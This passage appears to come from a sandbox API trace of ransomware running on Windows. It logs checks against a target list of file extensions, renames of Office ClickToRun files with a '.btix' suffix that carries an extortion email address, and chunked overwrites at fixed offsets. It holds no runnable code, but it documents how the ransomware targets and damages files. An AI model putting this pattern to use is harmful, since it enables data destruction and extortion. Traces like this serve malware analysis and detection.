dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.079] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0147.079] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0147.079] lstrlenW (lpString=".doc") returned 4 [0147.079] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.080] lstrlenW (lpString=".docx") returned 5 [0147.080] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.080] lstrlenW (lpString=".pdf") returned 4 [0147.080] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.080] lstrlenW (lpString=".xls") returned 4 [0147.080] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.080] lstrlenW (lpString=".xlsx") returned 5 [0147.080] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.080] lstrlenW (lpString=".ppt") returned 4 [0147.080] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.080] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0147.080] lstrlenW (lpString=".zip") returned 4 [0147.080] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.080] lstrlenW (lpString=".rar") returned 4 [0147.080] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.080] lstrlenW (lpString=".bz2") returned 4 [0147.080] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.080] lstrlenW (lpString=".7z") returned 3 [0147.080] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.080] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0147.080] lstrlenW (lpString=".dbf") returned 4 [0147.080] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.080] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0147.080] lstrlenW (lpString=".1cd") returned 4 [0147.080] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.080] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0147.080] lstrlenW (lpString=".jpg") returned 4 [0147.080] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.080] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0147.080] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0147.080] lstrlenW (lpString=".doc") returned 4 [0147.080] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.080] lstrlenW (lpString=".docx") returned 5 [0147.080] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.081] lstrlenW (lpString=".pdf") returned 4 [0147.081] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.081] lstrlenW (lpString=".xls") returned 4 [0147.081] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.081] lstrlenW (lpString=".xlsx") returned 5 [0147.081] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.081] lstrlenW (lpString=".ppt") returned 4 [0147.081] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.081] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0147.081] lstrlenW (lpString=".zip") returned 4 [0147.081] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.081] lstrlenW (lpString=".rar") returned 4 [0147.081] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.081] lstrlenW (lpString=".bz2") returned 4 [0147.081] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.081] lstrlenW (lpString=".7z") returned 3 [0147.081] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.081] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0147.081] lstrlenW (lpString=".dbf") returned 4 [0147.081] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.081] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0147.081] lstrlenW (lpString=".1cd") returned 4 [0147.081] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.081] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0147.081] lstrlenW (lpString=".jpg") returned 4 [0147.081] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.081] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0147.081] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0147.081] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.082] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=76128) returned 1 [0147.082] CloseHandle (hObject=0x300) returned 1 [0147.082] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0147.082] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.082] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.082] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0147.082] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0147.082] lstrlenW (lpString=".doc") returned 4 [0147.082] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.082] lstrlenW (lpString=".docx") returned 5 [0147.082] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.082] lstrlenW (lpString=".pdf") returned 4 [0147.082] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.082] lstrlenW (lpString=".xls") returned 4 [0147.082] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.082] lstrlenW (lpString=".xlsx") returned 5 [0147.082] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.082] lstrlenW (lpString=".ppt") returned 4 [0147.082] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.082] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0147.082] lstrlenW (lpString=".zip") returned 4 [0147.083] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.083] lstrlenW (lpString=".rar") returned 4 [0147.083] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.083] lstrlenW (lpString=".bz2") returned 4 [0147.083] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.083] lstrlenW (lpString=".7z") returned 3 [0147.083] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.083] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0147.083] lstrlenW (lpString=".dbf") returned 4 [0147.083] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.083] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0147.083] lstrlenW (lpString=".1cd") returned 4 [0147.083] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.083] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0147.083] lstrlenW (lpString=".jpg") returned 4 [0147.083] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.083] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0147.083] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0147.083] lstrlenW (lpString=".doc") returned 4 [0147.083] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.083] lstrlenW (lpString=".docx") returned 5 [0147.083] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.083] lstrlenW (lpString=".pdf") returned 4 [0147.083] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.083] lstrlenW (lpString=".xls") returned 4 [0147.083] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.083] lstrlenW (lpString=".xlsx") returned 5 [0147.083] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.083] lstrlenW (lpString=".ppt") returned 4 [0147.083] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.105] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0147.105] lstrlenW (lpString=".zip") returned 4 [0147.105] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.105] lstrlenW (lpString=".rar") returned 4 [0147.105] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.105] lstrlenW (lpString=".bz2") returned 4 [0147.105] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.105] lstrlenW (lpString=".7z") returned 3 [0147.105] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.105] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0147.105] lstrlenW (lpString=".dbf") returned 4 [0147.106] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.106] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0147.106] lstrlenW (lpString=".1cd") returned 4 [0147.106] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.106] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0147.106] lstrlenW (lpString=".jpg") returned 4 [0147.106] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.106] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0147.106] lstrlenW (lpString="memtest.exe.mui") returned 15 [0147.106] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.106] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=44952) returned 1 [0147.106] CloseHandle (hObject=0x300) returned 1 [0147.106] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20 [0147.107] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.107] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.107] lstrlenW (lpString="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 29 [0147.107] lstrlenW (lpString="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 29 [0147.107] lstrlenW (lpString=".doc") returned 4 [0147.107] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.107] lstrlenW (lpString=".docx") returned 5 [0147.107] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.107] lstrlenW (lpString=".pdf") returned 4 [0147.107] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.107] lstrlenW (lpString=".xls") returned 4 [0147.107] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.107] lstrlenW (lpString=".xlsx") returned 5 [0147.107] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.107] lstrlenW (lpString=".ppt") returned 4 [0147.107] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.107] lstrlenW (lpString="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 29 [0147.107] lstrlenW (lpString=".zip") returned 4 [0147.107] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.107] lstrlenW (lpString=".rar") returned 4 [0147.107] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.107] lstrlenW (lpString=".bz2") returned 4 [0147.107] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.107] lstrlenW (lpString=".7z") returned 3 [0147.107] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.109] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0147.109] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0147.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0147.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0147.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1 [0147.114] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0147.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0147.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0147.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0147.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0147.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0147.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0147.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0147.120] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0147.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.121] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0x0) returned 1 [0147.121] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0147.121] ReadFile (in: hFile=0x300, lpBuffer=0x3e35058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e35058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0147.435] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0147.435] ReadFile (in: hFile=0x300, lpBuffer=0x3e75058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e75058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0147.499] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.499] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0147.499] ReadFile (in: hFile=0x300, lpBuffer=0x3eb5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3eb5058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0147.525] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.525] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x33dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfca8*=0xc0112, lpOverlapped=0x0) returned 1 [0147.814] SetEndOfFile (hFile=0x300) returned 1 [0147.814] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x42cddd8 [0147.818] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0147.818] WriteFile (in: hFile=0x300, lpBuffer=0x42cddd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x42cddd8*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0147.824] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0147.824] WriteFile (in: hFile=0x300, lpBuffer=0x42cddd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x42cddd8*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0147.828] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0147.828] WriteFile (in: hFile=0x300, lpBuffer=0x42cddd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x42cddd8*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0147.830] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0147.830] CloseHandle (hObject=0x300) returned 1 [0147.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft 